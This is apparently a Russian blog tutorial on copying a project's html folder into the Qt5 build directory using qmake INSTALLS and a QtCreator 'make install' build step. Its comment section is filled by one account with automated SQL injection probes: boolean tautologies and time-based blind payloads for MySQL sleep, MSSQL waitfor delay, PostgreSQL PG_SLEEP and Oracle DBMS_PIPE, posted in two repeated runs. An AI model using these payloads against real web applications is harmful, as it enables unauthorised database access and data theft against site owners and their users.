Qt5 создаёт build directory рядом с source directory. Если Ваш проект считывает какие-либо файлы после запуска программы - их нужно положить в соответствующие директории. Qmake позволяет сделать это кроссплатформенно, создав цели для make install.

Итак, в файле проекта *.pro добавьте такие строки:

  1. install_it.path = $$OUT_PWD
  2. install_it.files += $$PWD/html
  3.  
  4. INSTALLS += install_it

Этот код инициализирует массив install_it, который заполняется переменной директории сборки ($$OUT_PWD) и переменной с директорией исходных кодов Вашего проекта ($$PWD).

В итоге скопируется директория html, лежащая в директории с исходными кодами.

Про остальные переменные, коими обладает qmake, можно почитать здесь.

Далее нужно попросить QtCreator запускать make install после сборки проекта.

  • Найдите на главной панели слева вкладку "Projects".
  • В появившемся окне найдите раздел "Build Steps".
  • В нём надо нажать на кнопку "Add Build Step".
  • В выпавшем списке выбирайте пункт "Make".
  • В поле "Make arguments" напишите install.

Вот собственно и всё!



nEcdyGgx

nEcdyGgx 13 Augustа в 18:15 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:17 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:17 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 2+744-744-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3+744-744-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3*2>(0+5+744-744) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 2+944-944-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3+944-944-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1 OR 3*2>(0+5+944-944)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 2+773-773-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3+773-773-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3*2>(0+5+773-773) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 2+980-980-1=0+0+0+1 or '4toWjoU1'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3+980-980-1=0+0+0+1 or '4toWjoU1'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1' OR 3*2>(0+5+980-980) or '4toWjoU1'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1" OR 2+630-630-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1" OR 3+630-630-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1" OR 3*2>(0+5+630-630) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

j1u420Rs'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-5 OR 62=(SELECT 62 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-5) OR 728=(SELECT 728 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

-1)) OR 345=(SELECT 345 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

I1qHNyBj' OR 456=(SELECT 456 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

ABBm2K5Y') OR 991=(SELECT 991 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

4FT23SrP')) OR 566=(SELECT 566 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:18 #

@@mMitw

nEcdyGgx

nEcdyGgx 13 Augustа в 18:37 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:42 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 2+76-76-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3+76-76-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3*2>(0+5+76-76) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 2+760-760-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3+760-760-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1 OR 3*2>(0+5+760-760)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 2+818-818-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3+818-818-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3*2>(0+5+818-818) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 2+171-171-1=0+0+0+1 or 'T4gOR11Y'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3+171-171-1=0+0+0+1 or 'T4gOR11Y'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1' OR 3*2>(0+5+171-171) or 'T4gOR11Y'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1" OR 2+322-322-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1" OR 3+322-322-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1" OR 3*2>(0+5+322-322) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

otnJ5sMa'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-5 OR 928=(SELECT 928 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-5) OR 547=(SELECT 547 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

-1)) OR 420=(SELECT 420 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

5vUPcsez' OR 359=(SELECT 359 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

9O6le8dT') OR 593=(SELECT 593 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

b5zZa4gd')) OR 656=(SELECT 656 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:43 #

@@eZIfn

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555


Войдите или зарегистрируйтесь, чтобы написать комментарий.